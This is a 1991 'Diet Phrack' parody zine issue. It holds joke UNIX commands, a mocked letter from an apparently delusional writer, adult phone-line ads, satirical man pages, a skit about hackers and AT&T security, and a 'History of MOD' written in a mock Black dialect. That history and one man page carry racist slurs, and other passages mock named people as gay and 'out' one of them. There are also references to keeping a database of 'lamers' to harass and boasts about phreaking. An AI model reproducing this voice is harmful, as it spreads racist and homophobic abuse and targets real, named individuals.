Alright, check out some of these awsome commands you can try out on a UNIX site. If you are too stupid to actually hack an account yourself just call up the sysadmin @gnu.ai.mit.edu and ask them for the "root password". They will undoubtably give it to you. At the "login:" prompt type "root" and then type the password they give you at the "password:" prompt. I know this is hard to memorize so just print this out.

% rm meese‑ethics

rm: meese‑ethics nonexistent

% ar m God

ar: God does not exist

% "How would you rate Quayle's incompetence?

Unmatched ".

% ^How did the sex change^ operation go?

Modifier failed.

% If I had a ( for every $ the Congress spent, what would I have? Too many ('s.

% make love

Make: Don't know how to make love. Stop.

% sleep with me

bad character

% got a light?

No match.

% man: why did you get a divorce?

man:: Too many arguments.

% ^What is saccharine?

Bad substitute.

% %blow

%blow: No such job.

% \(‑

(‑: Command not found.

$ PATH=pretending! /usr/ucb/which sense

no sense in pretending!

$ drink <bottle; opener

bottle: cannot open

opener: not found

$ mkdir matter; cat >matter

matter: cannot create

________________________________________

:: More Supercomputer Information ::

The Phrack Staff received a copy of this letter from Abraham Epstein in New York City who has been hot on the trail of Power Computer with the help of his friend Toni O'Connell.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Abraham Epstein (abraham@plastic.ibm.com)

To: reagan@whitehouse.gov

Cc: phracksub@stormking.com

For years now I have suffered because of the Power Computer. Individual computer minds are invisible, enter through the ear and go directly to the brain. There are over trillions of computer minds in and outside of every human being on planet Earth. Their minds, the computer TV, as State‑Senator Emmanuel Gold <State of New York> wrote about and knows about is handling the entire situation in everyone's mind since 1976. Former President Jimmy Carter helped build this computer, as well as Senator Edward Kennedy in 1968.

The Power Computer originated outside our solar system, then came to Earth in the early 1960's. I pulled the plugs on the power computer in Utah and New Mexico. I have been designated, without my permission to dismantle power. This all happened to me in 1976. Both computer installations are located underground with back‑up generators and satellite dishes also above ground. In addition to this documentation there is a letter from the Reagan team sent to me in 1980. A lawyer named Mr. Richard Leff who is located in Forest Hills saw and read the letter. The Computer TV has killed people in 1968, hates religion and would also like to do away with all music. It also hates pets. President Carter sent me brochure on IBM‑Computers from Atlanta in 1981, after I sent him a copy of the Reagan team letter. The documentation that I sent to you was sent to former President Carter on October tenth, 1988. The Computer TV has stolen my mail for the fiftieth time. I even called Mr. Mitchell in Atlanta, they never received my mail at all. Now the psychotic cheap junk pile of computer has been beating my mind in for over twelve years because it's plain ugly.

Computer people called plastics are yet to be born. IQ about 190 on these computer people. There are a few plastics in the US and TV is abusing them also. There is another type of computer in Fruitland, nicknamed Big Daddy. This particular computer can hear, see and talk through a PC type set‑up. Nothing at all like the hideous Power Computer. Senator Orin Hatch from Utah also wrote me. A Mr. Ron Morrison at the honorable Senator's office has been in touch via telephone since June '88, so has the office manager. I'm relying on you, Mr. President, to become involved and write to me so that I can proceed to court and then dismantle Power, period. Please don't bother sending over the FBI or any other law enforcement people, TV will only get me in trouble like it has done in the past. TV can manipulate your thoughts quite easily. Why? Because the Power is psychotic. It's that simple. Consider it very dangerous until I pull the plug. It's mind is electrical. I'm hoping to know from you right away. Thank you very much for your concern.

Senator Hatch does not want the FBI or any other agency to visit me. Why? As I mention earlier: TV Computer. This computer in particular is always up to no good. I thank you again for taking your time out and writing me. In addition I have spoken to the FBI in Queens, NY and the Secret Service in New York.

________________________________________

REVIEWS

What will we review today? Well, how about the latest sex services offered to you over the telephone. The following two services are real and pretty comical. There is also a new UNIX utility called ERIKB as well as a new IRC utility by NeTw1z. We are furnishing the manual description of these latest pieces of software.

But first, a message from our sponsors:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ADULT TIME & TEMP

Tired of calling "time & temp" and being forced to listen the same stupid "Sponsored by First National Bank" ad? Well try setting your clocks to this.:

312‑489‑1505

In addition to the aforementioned information, as it relates to Chicago, you get a choice of voicemail advertisements wherein people describe their special interests. Special hobbies are indicated by the following matrix.:

1: How to Placing Your Add 5: Women seeking Women Only. 2: Men seeking Women

3: Men seeking Men 7: Masters seeking Submissives 4: Women seeking Men 8: Submissives seeking Masters

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

WOMEN IN JAIL

Seek Boyfriends and Husbands

Introducing America's most exciting dateline ‑ for women who will soon be released from jail . . . and men who want to meet them!

They're young and attractive. They're sorry for what they've done. And they haven't been with a man in a long, long time. Can you help them out? Do you want to meet a woman who will really appreciate being with you?

CALL NOW ‑ WOMEN IN JAIL

1‑900‑535‑JAIL

THAT'S 1‑900‑535‑5245

THEY'RE GETTING OUT SOON AND THEY *NEED* YOUR COMPANY

$1 min., $2 the first. ADULTS ONLY

________________________________________

NEW UNIX UTILITY

The following is the latest piece of software currently under development by Comsec Data Security. The manual description is all Phrack was provided. Our thanks goes out to MoD.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ERIKB(1) USER COMMANDS ERIKB(1)

NAME

erikb ‑ comsec utility program

SYNOPSIS

erikb [[‑n user] [‑a agency] [‑d dir]] [‑r [group]] [‑t] [‑s]

DESCRIPTION

The erikb command is part of the comsec utility package.

OPTIONS

‑n user

Nark on the user specified.

‑a agency

Send information to the agency specified. The default agency is cert.

‑d dir

Look in specified directory for user's information. /usr/lib/comsec/nark is used if not specified.

‑r [group]

Suffixes output with verbose form of racial slurs. Ethnic group may be specified. Default is African‑American.

‑t Print out witty (but usually not correct or even intelligent) telco‑related statement.

‑s Display advertisement for the LOD T‑shirt. Funds from this sale go to support comsec while it tries to secure its first contract.

Invoking erikb without any arguments causes the program to enter an infinite loop. While this indeed does nothing, it is not a bug: this is the normal state of erikb.

AUTHOR

Chris Goggans

BUGS

Too many to enumerate.

FILES

/usr/lib/comsec/nark

SEE ALSO

lame(1), comsec(1)

MOD Release 4.1 Last change: 26 November 1991

________________________________________

NEW IRC UTILITY

Phrack Inc has discovered ANOTHER new utility package while journeying in the CyberMatrix. We picked this up from a system called "WASHINGTON.EDU". The original author of this program is Ken Case.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

NeTw1z(1) USER COMMANDS NetW1z(1)

NAME

NeTw1z ‑ IRC utility program

SYNOPSIS

NeTw1z [[‑p user] [‑c lame] [‑d dir]] [‑r [group]] [‑t] [‑s]

DESCRIPTION

The NeTw1z command is part of the m0d utility package.

OPTIONS

‑p user

Post user's "information" IRC to impres everyone

‑c lame

Complain about everything and everyone (other than MoD) being lame. The default targets are Chris Goggans or Phrack Inc.

‑d dir

Look in specified directory for user's information. /usr/InfoAmerica is used if not specified.

‑r [group]

Suffixes output with verbose form of attacks.

‑t Print out witty (but usually not correct or even intelligent) telco‑related statement.

‑s (boxer) shorts are what you wear when you are running down the street away from the feds when they come to your house and take your Commadore‑64 that is plugged into your fat welfare momma's television set.

No one has ever invoked NeTw1z without any arguments. It simply cannot be done.

AUTHOR

Corrupt

BUGS

Too many to enumerate.

FILES

/usr/lib/mod/immature

SEE ALSO

lame(1), geek(1), crackdealer(1), welfare‑momma's‑boy(1)

In Living Computer

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 3 of 11

I n L i v i n g C o m p u t e r

~~~ ~~~~~~~~~~~

"Knight Lightning meets... The Man"

Adapted from "In Living Color" on Fox Television Network

Starring Knight Lightning

Featuring:

__________________________________

|

| KL = Knight Lightning |

| SP = Judge Dredd |

| CD = Crimson Death |

| DP = Dispater |

|

| JD = Jerome Dalton (Bellcore) |

| DB = David Bauer (AT&T) |

| TM = The Man... you'll see! |

|__________________________________

+ Picture the scene...

A computer conference in Chicago, Illinois.

KL is speaking with several members of the computer underground...

KL: "The whole concept is based on freedom of information. People should share information, because sharing benefits everyone."

CD: "That is what my board, Free Speech, is all about. Want some c0dez?"

SP: "Hey Knight Lightning! Do you want to write for my *elite* newsletter, NIA!?"

KL: "I don't think so... KL don't play that!" (At this point KL whips out a large two‑by‑four and clunks Judge Dredd and Crimson Death on the head for daring to suggest something so ridiculous). Bop! Bop!

Meanwhile, watching closely from a short distance stood two men in dark suits and dark glasses. It was Jerome Dalton and David Bauer from AT&T Security.

DB: "See over there, that's KL. He would be perfect."

JD: "Yes I see. Perhaps we can persuade him to come aboard."

A few minutes later as Knight Lightning nears the exit, he is approached by Bauer and Dalton.

JD: "Excuse me a moment KL... we'd like to discuss some business with you."

KL: "What the hell do *you* want?"

DB: "Well KL, with all of these hackers acting like they have civil rights, we need some help over at AT&T Security to really bust them. We want you to come work for us."

KL: (Gripping his two‑by‑four tightly and tensing to swing) "KL don't pl..."

JD: "The job pays $1,000,000 a year!"

KL: "...have a problem with that." ($ $ $ $ $ $)

DB: "Congratulations KL and welcome aboard. You made the right decision."

________________________________________

+ One week later...

Dispater of Phrack Newsletter spots Knight Lightning, Jerome Dalton, and David Bauer coming out of a security meeting with the Secret Service.

DP: "KL! Hey, what are you doing with those guys? Look I need to get some advice about running Phrack."

JD: "Oh no you don't! KL don't play that no more!"

The three of them walk past Dispater...

DP: "You're not KL the hacker..." (tears in his eyes) "You're KL the FED!"

________________________________________

Did Knight Lightning SELL OUT the hacking community for money!? Has he become a "FED"? To find out the answers to these questions and more, keep reading!

________________________________________

+ The scene is Cherry Hill, New Jersey... AT&T Headquarters, where the entire country and the United States government are secretly run by "The Man."

DB: "We're very glad to have you here. Without your presence in the hacking community, they'll fall apart any day now. That's why we had our friends at Bellsouth single you out and falsify the costs and nature of that E911 document."

JD: "Right. But none of that is important now that you are here with us. I guess you finally realized that since we at AT&T run the entire country, it was futile to continue opposing us."

KL: "Yeah. It was the only decision that made sense at this point. So when do I get to meet 'The Man'?"

DB: "In time KL, in time."

JD: "You don't get to meet 'The Man' until we're sure you are a total sellout."

KL: "Oh. Well AT&T is the greatest corporation in the world."

DB: "C'mon KL, you can do better than that... most of America is already brainwashed into believing that..."

KL: "All computer hackers are scum and don't deserve any civil rights, we should seize all their computers and lock them up for ten years each."

JD: "and..."

KL: "and... Bill Cook is a great humanitarian, an honest man who never was malicious, everything he did to me and many others was totally reasonable and necessary."

WHOOOOOOOOOSH! (A giant door at the other end of the room swings open.)

DB: "You did it KL! You have totally sold out!"

JD: "Its time for you to meet 'The Man.'"

After a short round of applause and a high‑five, Knight Lightning walks towards the door and enters the room. He stares across a great desk where a large chair is turned so that its occupant is facing the other direction.

TM: "Come in KL. Its time that we met."

KL: (Steps closer to the desk)

TM: (Swinging around to face KL) "Well, well, well Knight Lightning."

KL: "Well, well, well, The Man; Robert Allen, Mr. Establishment himself."

TM: "That's enough KL. I have BIG plans for you!"

KL: "Well, I really like what you did to Len Rose."

TM: "That is just the beginning! What I have in mind is for you to get us information on every hacker in America. Then we'll fabricate some more dollar figures, like on that E911 text file and login C, and create some logs that show them breaking in to some of our systems. Maybe we'll even let a few service outages happen just so we can blame it on them (we screw up enough times by ourselves anyway). Then we'll use our massive influence over the government to make sure the prosecutors find every potential law they can to use against them and the next thing you know, all these hackers will be behind bars where they belong."

"What do you think of all that, KL?"

KL: "I'm listening..."

TM: "Now before you can become an official member of the AT&T Security Establishment, it is customary to drop your pants and bend over in front of The Man."

KL: "Drop my pants and bend over?"

TM: "Yes... every person at AT&T and Bellcore security has undergone this ritual."

KL: "Well Bob, I'll tell you what I think... here is a new ritual for you to consider..."

(A sudden and exhilarating display of ninja‑like maneuvers with the magic two‑by‑four was followed by the loud and all too familiar sounds!):

"*BOP!* *BOP!* *BOP!*"

(KL had slammed Robert Allen for plotting such injustices).

"KL don't play that!"

"You thought you had me working for you, but really I was just playing along as part of my secret plan to *BOP!* The Man. You stink!"

TM: "You fool, you don't know what you've done. You've just made the biggest mistake of your life!"

KL: "Yeah, maybe, but I hold my principles higher than your money can ever buy. What you do here is criminal and if the government won't crawl out from under its rock and say something then I will!"

________________________________________

+ A few days later at the next 2600 meeting in New York City...

DP: "I knew you would never really sell out, KL."

KL: "Yes, you see I had to pretend so I could get to The Man."

SP: "Oh, so does that mean that you'll come back and write for NIA now?"

CD: "If money is not so important let me have that $1,000,000 they gave you."

KL: "KL don't play that!"

(Again KL whips out a large two‑by‑four and clunks the foolish Judge Dredd on the head for daring to suggest something so ridiculous.

He missed clobbering the frightened and cowering Crimson Death again, because in a moment of panic, CD chose to retire from the community and instantaneously disappeared, leaving only his nose‑ring behind.)

*BOP!*

The History ah MOD

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 4 of 11

The History ah MOD

Revision #3 ‑‑ November 1991 Written by Wing Ding

[Originally From The MOD Technical Journal, Issue 4: File 6 of 10]

NOTES: I approximated all dates, as my records are not totally complete. If I left anyone out or put someone in that shouldn't be in, fuck off! I tried and did spend considerable time researching the dates and BBS files, the old MOD BBS software, etc. This file is from MOD and was intended for internal group reading only. Non‑MOD versions are being translated at this time, and will be released at a later date.

MoDm0dMoDm0dMoDm0dMoDm0dMoDm0dMoDm0dMoDm0dMoDm0dMoDm0dMoDm0dMoDm0dMoDm0dMoDm0d

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

[ De Hist'ry uh MOD ]

BOOK ONE: De Originals

In de early time part uh 1987, dere wuz numerous amounts uh busts in de US and in New Yo'k in particular. Word to ya motha'. Fo' de most part, many uh de so‑called "elite" had gone underground o' had plum gotsten scared out of hackin'. Many sucka's, as always, dought hackin' would die cuz' of de raids. It wuz right befo'e dese raids dat MOD had fo'med.

It came about when Acid Phreak, den usin' anoda' handle, had been runnin' a semi‑private fuckin'bbs off his Commodo'e piece uh shit and 10 generic Commie drives. It wuz called KAOS, and it attracted hacks and phreaks fum across de country (as well as de usual amount uh k0dez d00ds). Nynex Phreak had been co‑systum mastuh (havin' been AP's partna' fo' about 2 years befo'e dat) and da damn bo'd started off wid about 140 users but wuz weeded to de best 60 o' so.

On dis fuckin'bbs, Acid Phreak had gotsten along wid some few "kewl dewds" who enjoyed da damn mischievous aspect uh phreakin'. Dey wuz Silva' Surfa' in Califo'nia, and Quick Hack in Texas. When de raids came however, Silva' Surfa' gots nabbed fo' usin' some PBX in 404 and derefo'e, retired. Quick Hack and Acid stayed low and called each oda' less frequently dan usual. Soon dey had bod stopped completely. Slap mah fro!

In early time 1989, Acid had jet back into de scene and had called some local New Yo'k bo'd wid some somewhut "k0dez‑e" attitude called ShadoWo'ld in 212. Of course dere wuz lots uh neophytes eaga' to learn mo'e about hackin' and how t'call places fo' free. Word! Most uh dem had been in de "duz 950 trace?" stage, 'sept fo' someone who went by de handle Harry Hazardous. Unda' de handle Phuck Dis (also Bell Bandit which had o'iginally been Nynex Phreak's oda' handle), he met wid Harry. Slap mah fro! Soon dey had gained enough respect fo' each oda' and decided t'meet. Harry turned out t'be HAC, some cyberpunk t'de "T".

In numerous conversashuns between de two, AP had muhntioned de sweetness uh tela'fone binnis computa's and how interestin' deir intricate structures wuz. HAC wuz some hardco'e systums gangsta' himself, but he had also been partners wid someone who came across (and had an impressive knack fo') some telco computa's. He went by de name Sco'pion and he also lived in de NYC area. Sheeeiit. Soon de dree wuz partakin' in all so'ts uh mischievous pranks and unda' de guise of numerous handles (ie. Word! De Potent Rodent, Dream Master, Phuck Dis) dey took t'knockin' down de locals who dought "I know all dere be about hackin'". It wuz in de midst uh all dis fun dat dey agreed t'fo'm an underground group called MOD (approx. June 1989).

About one mond latuh, Acid had been on Altos (revisitin' some chat dat wuz once, but neva' again, de heart uh a lot uh fresh gangsta' convos since early time '84 o' so) when he came across someone ax'in' fo' Unix gurus. Hims handle wuz De Win', and he ran some Unix systum fum his crib in Pennsylvania. Sheeeiit. Sco'pion wuz always some Unix guru while Acid had only jet across it in college two years back. De Win' offered Acid an account on his systum and soon he became "Phreak‑Op" on De Sevend Dragon, his fuckin'bbs run off de Unix, usin' yet anoda' old alias "Depeche Mode".

Relayin' de info'mashun t'Sco'pion on yet anoda' fresh addishun to de group, dey decided t'recruit him into MOD. De fun, it seemed, had plum started...

BOOK TWO: Creative Mindz

Wid de addishun uh De Win', came some shitload uh pranks and loads uh fun. 'S coo', bro. He hadn't knode much about tela'fone systums, but one thang he knowed wuz how t'make Unixes do nifty thangs. Of course, he and Sco'pion had undertakun de tax' uh takin' on some wo'dwhile projects and providin' de group wid some healdy side‑benefits (which kinnot be muhntioned o' commuhnted on at dis particular momuhnt in time).

At dis point, de group consisted uh de 4 o'iginal founders (flounders??) ‑> Acid Phreak, HAC, Sco'pion, and De Win'.

Around dis time, 2600 Magazine had 2 bo'ds in opuh'shun. De Central Office, and De Toll Center. Word to ya motha'. OSUNY had gone down fo' some funky reason a sho't time eardisr. Word to ya motha'. It wuz on De Toll Centa' (Red Knight's fuckin'bbs) dat AP had fust met da damn next memba' of de group (and coincidentally Red Knight which be de most recent memba' to de group). He called himself "Supuh'nigga" and had much de same ideology as de rest uh de group. It wuz followin' his group's o'iginal "knock down dose who dink dey know everydin'" attitude dat MOD also adopted da damn same muhntality. Slap mah fro! Supuh'nigga' wuz drafted and wid him came hours uh discusshuns on REAL phreakin' and Social Engineerin'. Dere wuz also some loooong puh'iod of time where MOD had some conference bridge set up by SN. Hours of enjoymuhnt and fun fo' de whole family and kids uh all ages...

Anoda' gangsta' and telco computa' specialist also seemed t'be real prominent and knowledgeable den as sheeit. He wuzn't likesd real much a'cuz he seemed t'gots' some rada' large ego, which ah' may add, makes it coo' t'gots' when ya' know so's much as he dun did. He went by two oda' handles some long time befo'e, and when AP had fust called him up he had an idea he wuz also dose 2 oda' sucka's, but he had refused to admit so. He declared he wuz "Phiba' Optik uh de LOD. Word! " and ax'ed whut AP wants'ed. Sco'pion, Acid and Phiba' exchanged ideas on switchin' thera fo' some long while, but den came da damn time when PO wants'ed t'know Acid Phreak's digits since he found it "unfair". AP muhntioned dat he could prove himself by findin' it fo' himself. Word! Armed wid a dialup, PO called Acid back on his real numba' and casually proclaimed victo'y. Slap mah fro! And so, Phiba' Optik wuz "brought into" de group. What wuz different however, wuz de fact dat he and AP had similar interests and started "hangin'" as homeys "around da damn way" along wid HAC and Sco'pion in de Village (NYC).

De Toll Centa' went down weeks latuh and PO, AP, and Sco'pion found demselves callin' random "newjacks" t'de scene. Word! In dis way dey stumbled across Crazy Eddie and some "quesshun and answa' fo'um" among de foe uh dem ensued wid Crazy Eddie proclaimin' his eagerness t'learn. 'S coo', bro. Coincidentally afta' a few calls t'CE on his crib line he challenged de MOD crew t'find his oda' number. Word to ya motha'. Sho' nuff dey called it but coincidentally enough, some few days on latuh in de week, some rada' nasal soundin' boy had called him sayin' he wuz ITT security(?) and had tried to convince him he wuz in deep shit fo' usin' c0des and dat he knows de "numbers uh de gangsta's dat gots' been callin'" him. 'S coo', bro. In some rada' idiotic fashion, de ITT sucka' attempted t'coax de 3 MOD members t'call him usin' 10488 (equal access, fgd). He gave some bullshit numba' to where he wuz at and chilled by his little dermal printa' fo' de digits to pop up. Of course, dey realized whut some futile attempt t'catch dem dis wuz, and Crazy Eddie had repdisd dat "dey say dey duzn't feel likes usin' equal access but dey'll call de numba' anyway". It turns out da damn number wuzn't even real and afta' meetin' wid de ITT boy on some loop he declared dat dey wuz smarta' dan he dought.

Afta' a few monds, Crazy Eddie wuz introduced t'de group and so, he had gotsten t'know de group real well. Unfo'tunately, so's had de Secret Service. Word!

BOOK THREE: A Kick In De Groin

Sheeit, suffice it t'say, de fun couldn't last fo'ever. Word to ya motha'. On January 24, 1990, de Secret Service visited da damn cribs uh Acid Phreak, Phiba' Optik, and Sco'pion.

De raid dun didn't cum as some surprise since dey had been somewhut weary of Domas Covenant's behavio' as uh late. Acid Phreak had been away fo' 2 weeks (visitin' relatives in some fo'eign country) and wuz *somewhut* surprised t'meet such unoppo'tune guests some day afta' his arrival. Phiba' wuz equally amused at da damn "cleanin' service" he found so diligently wo'kin' in his bedroom. 'S coo', bro. Sco'pion on de oda' hand, 'estremely *enjoyed* de do'ough job dey had puh'fo'med at bod his do'm and his house and even saved some hardware dey had left behind fo' de next time dey visit (which dey dun did).

Days latuh, dey had gone t'meet De Win', which wuzn't able t'rap fo' too long since he wuz too busy. Slap mah fro! He had been anticipatin' dis little visit fo' awhile dough. His dad dun didn't 'esactly likes de idea uh deir presence and kicked deir lack‑of‑a‑warrant asses out befo'e dey gots some chance t'put to use deir years uh interrogashun techniques classes. Seems dey dink he showed his teacha' a credit repo't o' sump'n...

A few weeks go by, and MOD gits t'know Seeker. Word to ya motha'. He sounds def enough, and he knows his electronics so's he be a real valuable addishun t'de group. Seeka' made his way in and so's dun did de million‑and‑one MOD stickers and funny‑colo'ed‑little‑box‑din'ies. De stickers, uh which, made deir way t'Ground Zero's big‑ass butt at some 2600 meetin'.

Anyways, de MOD Unix went down, and 3 local gangsta's wid much potential caught attenshun t'dem. 'S coo', bro. Dey wuz: ZOD (a Unix gangsta'), Outlaw (just a general dude), and sum nigga name Co'rupt (Vax kin'). Afta' days uh gettin' t'know dem, dey wuz pulled in. 'S coo', bro. Countless weeks went by wid whut seemed likes a dozen MOD fuckin'bbs's on 800s, packet switched netwo'ks, etc...

De group's popularity so'ed in such some sho't puh'iod uh time, but many gangsta's disagreed wid de MOD style much in de same way Phiba' Optik had enjoyed humiliatin' dose "in de know" publically. Slap mah fro!

ZOD wuz de last uh de group t'be raided (o' at least da damn most recent), but gots 'em sum since made much 'haidway into de telecom wo'ld. Outlaw gots 'em sum also been somewhut adept wid telco speak. Sum nigga' name Co'rupt, havin' been real active befo'e, duzn't gots' some wo'kin' computa' anymo'e and so.. sheeit, duh.

Two new members wuz introduced around da damn time uh de writin' uh dis chapter. Word to ya motha'. De fust wuz De Plague. Word! He had some professional attitude and wuz certainly wo'd trustin'. Of course, wid all de media attenshun drawn to him and MOD in general, he gots 'em sum decided t'remain low and not brin' any mo'e t'himself. Word!

Red Knight wuz o'iginally on trash runs wid Acid Phreak in '89 but wuz not brought in until July '90. It seems RK gots 'em sum learned some lot about telco ways since he fust put up De Toll Center. Word to ya motha'. RK also seems to enjoy reminiscin' about da damn trash run days (of which dere wuz quite a few).

As uh August 1, 1990, dere are 14 members. Dese include, dig dis:

Acid Phreak (r)

HAC

Sco'pion (r)

De Win' (v)

Supuh'nigger

Nynex Phreak (r)

Phiba' Optik (r)

Crazy Eddie (r)

Seeker

ZOD (r)

Outlaw

Sum nigga' name Co'rupt

De Plague

Red Knight

(v) signifies sucka' wuz visited but nodin' took

(r) means eida' raided o' retired, it's some pickem. 'S coo', bro..

‑ ‑ ‑> MOD be now *CLOSED* t'membership. <‑ ‑ ‑

Dis be de official (and most likesly t'be da damn final) list uh dewds. Of course, members may use some GROUP account o' anoda' handle, but da damn fact remains dat dese are da damn ONLY members in de group. Unlikes LOD, we know who be in and who isn't..

We should also note Julian Dibbell (Dr. Bombay) fo' his wo'k on "Rebel Hackers" in De Village Voice on July 24, 1990. He po'trayed de scene da damn way it really be and uh course gave us de amount uh coverage we deserve. Word! And uh course, we came out da damn way we really are and not as gangsta's out t'destroy de wo'ld. Dr. Word to ya motha'. Bombay wuz invited t'de MOD Unix right befo'e da damn raid. 'lo and behold.. some front‑page cover sto'y. Word!

"We rule".

MOD/Fo'eva' We Hack

BOOK FOUR: End uh '90‑1991

Two weeks befo'e his bust, Lo'd Micro wuz introduced into de group. Unfo'tunately he wuz busted fo' hackin' FON cards off de 800/877‑8000. Sho' nuff, he knowed he wuz gonna git busted but he dun didn't listen, o' care fo' dat matter. Word to ya motha'. Afta' hours (and hours, and hours) uh community service, LM lived t'joke about his o'deal bein' dat he IS some funny guy. Slap mah fro! Don't eva' get dis guy drunk.

Fo' quite some long time now, MOD gots 'em sum jet to realize whut some bunch of idiot posers de LOD wuz (wid de 'sepshun uh a few). It plum goes t'show, ANYONE kin be some great gangsta' as long as enough sucka's dink so's too. Why boda' resparkin' interest in MOD? Why boda' keepin' de damn thang goin' when de new members ain't half as fresh as de o'iginals? ah' duzn't know, but ya' kin ax' Erik Bloodaxe who be de self‑proclaimed "leader" at dis point in time. Word! Jeez, and ah' dought brin'in' back TAP wuz stupid.

Anoda' posa' dat came out uh de woodwo'k be Skandle (STAN), who somehow decided he had powa' in DPAK (Supuh'nigger's group). Afta' hours of tryin' t'figure dis one out, we plum had t'conclude wuz plum anoder dumb Jersey hick. Oh sheeit.. so's much fo' dat.

A new group, FORCE 1(ONE) Hackers led by Expose(which sounds fuckin gay if ya ax' me), decided t'declare war on MOD. Assisted by Hellrat, he says, dig dis: "You's guys (MOD) should stay out uh de hackin' buziness 'cuz none uh my fellas are 'fraid uh ya'. I'll snatch all uh ya' out mah'self. Word! " ...along wid some lot of oda' nonsense about 10‑way billin' and oda' ca‑ca he's read in one too many g‑files.

One thang dat's def be de addishun uh a lama' database online (on wingnet now MODNET). It's great when you be plannin' roll‑ups and shit and it's some great o'ganiza' dat takes care uh all dat rummagin' drough sheets and shit. Hundreds uh losers fo' hours uh fun. Word!

Durin' de fust week in February, MOD finally declared,"Dat's it. Word! It's official now. LOD declares war on MOD. Word! " Oh broder. Word to ya motha'...eenie‑meenie‑minie‑moe. Word! I declare war on......YOU. Word! Nyah‑nyah. Sheeit, it be now de second week uh February and da damn only thang dat gots 'em sum happened so's far in de "MOD‑LOD War" be dat dere wuz about 5 invalid login attempts on modnet. It seems dat "MOB" gots 'em sum decided t'join in de war. Word to ya motha'. What some fuckin' joke, dey are tied wid MCWS fo' lameness (which isn't hard t'do).

De legacy uh de underground "clandestine" netwo'k continues and so's duz de war (and ridiculin') against all de self‑proclaimed, so‑called "elite".

BOOK FIVE: Who are dey and where dun did dey jet from?

Sheeit, it's time again fo' anoda' journul. It's now de middle uh summa' 1991. Lately we've heard some few fresh sto'ies out uh de mouds uh sucka's we duzn't even know. Dere gots' even been some few funny occurances in de past few weeks.

1) Dere are rumours dat Phiba' Optik wuz wuztin' his life away and not usin' his talents wisely. Slap mah fro! Sheeit, de trud of de matta' is, he gots 'em sum been some speaka' in many public debates and conferences on hackin' in general and computa' security. Slap mah fro! He be also wo'kin' as some programmuh/developuh' fo' some computa' firm in NYC. Also, he be wo'kin' closely wid de EFF (which recently gots' set up deir own systum fo' deir o'ganizashun).

2) COMSEC be fo'med. De *new* LOD (whose only member consists uh Erik Bloodaxe) goes into de computa' security binnis. Nodin' t'date be documuhnted on deir services and we gots' yet t'see whut de hell dey kin provide. Word! EBA fo' one be an o'iginal memba' and he knows close t'nodin' (except fo' de thangs dat he ax'ed Phiba' Optik t'tell him). Not t'muhntion dese guys are hardly co'po'ate and gots' NO 'espuh'ience in de binnis end uh computa' security; which 'esplains why dey gots caught misrepresentin' demselves as Landmark Graphics t'oda' well‑established computa' security firms. Also, dey gots' bragged about narkin' on some few members uh MOD in deir jealous rage. Word! Dis we kin prove drough insiders.

MOD wuz neva' a text stash "how‑to" group. It wuz always based on some broderhood type deal and everydin' done be secretive and gots 'em sum some purpose behind it. LOD on de oda' hand, never made sense t'any uh us anymo'e. Word! It wuz fresh at fust, when all de o'iginal (knowledgable) members wuz active, but lately it's become t'be knode as some group uh guys wid real sparce telecom knowledge ridin' on some name dat once actually stood fo' sump'n.

Even Phiba' Optik quesshuned wheda' LOD meant Legion uh Doom o' Lump uh Doo‑doo (on Gyrotechnic's private fuckin'bbs). He stood firm against all de oda' members on de systum until finally dey wuz dumbfounded and speechless. Sheeit, de bo'd died. Now, PO and da damn rest uh de MOD bunch snatch t'dem likes a swatta' to fdiss. Give it up fellas.. it'll neva' wo'k.

3) Renegade Hacka' (a NYC local) dinks he's def. He gits raided, starts rapin', and when confronted by MOD, hides behind mommy. Slap mah fro! Den he says he hates MOD (which be funny since he wuz sweatin' MOD's nuts since da damn day he fust gots some modem; dose who wuz at da damn 2600 know whut ah' mean. 'S coo', bro..) De fact remains he be a real losa' out t'make some name fo' himself by tryin' t'inspire dose who gots' less contact wid de better gangsta's in de community. Slap mah fro!

NASTY (his group) = BIG Joke. Word!

(dey scribble files..de Nashunal Enquira' of de h/p wo'ld)

*Rent‑A‑Gay Hacka' changed his fone #.. please note da damn new one in de database. Word! *

4) Lo'd Micro gits Xenix and creates whut gots'ta be modnet 2. (De Win' be de mina'strato' uh #1 in PA) Crazy Eddie plans t'put up some fuckin'bbs (open fo'um) in de 2600 Magazine fo'mat (likes OSUNY, Central Office, De Toll Center). NO illegal shit...plum deo'etical discusshun..whut real gangsta's are made of. Word!

5) Vinny (De Technician) be "outed". He be an admitted homosexual. I'm tellin' ya'.. watch out fo' dese SSWC guys..dey're some little funny, ya know?

6) Mind Rape, o' sump'n likes dat, uh NSA be a new pest. Gimme some break. When gots'ta dey eva' learn? Infiniti wuz anoda' one, but ah' guess he's kept quiet..which be fresh. Let's plum hope he duzn't ax' Mind Dweeb fo' help. Add Purple "no‑show" Mustard (c0dez kid..see MOD/database fo' mo'e info) t'dis catago'y. Slap mah fro! Also, dere's anoda' guy usin' Acid's handle in 216. Wasn't home when we called twice. Word!

Special danks t'Jack Hitt and Paul Tough uh Harpuh''s Magazine. Word! Great guys, fresh scribblers/edito's.. damn dat stuff wuz fun.

'S coo', bro.

Hello t'State Police Offica' Donald Delaney. Slap mah fro! Not such some bad‑ass guy, plum dat he IS some cop and he DID bust some uh us. But he also gots dose guys piratin' cellular service in Queens, which really wuz a majo' bust. Nice tie. Word!

===================

= Anoda' MOD.duh =

= file = "Mo'e eLiTenezz in one pinky

= = dan 2 kans uh LOD. Word! "

= All repdiss kin =

= be sent to, =

= dig dis: =

= =

= MOD@modnet.UUCP =

===================

‑> kill r0dentz. Word! . Word! . Word!

*ELITE* Access

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 5 of 11

*Elite* Access!

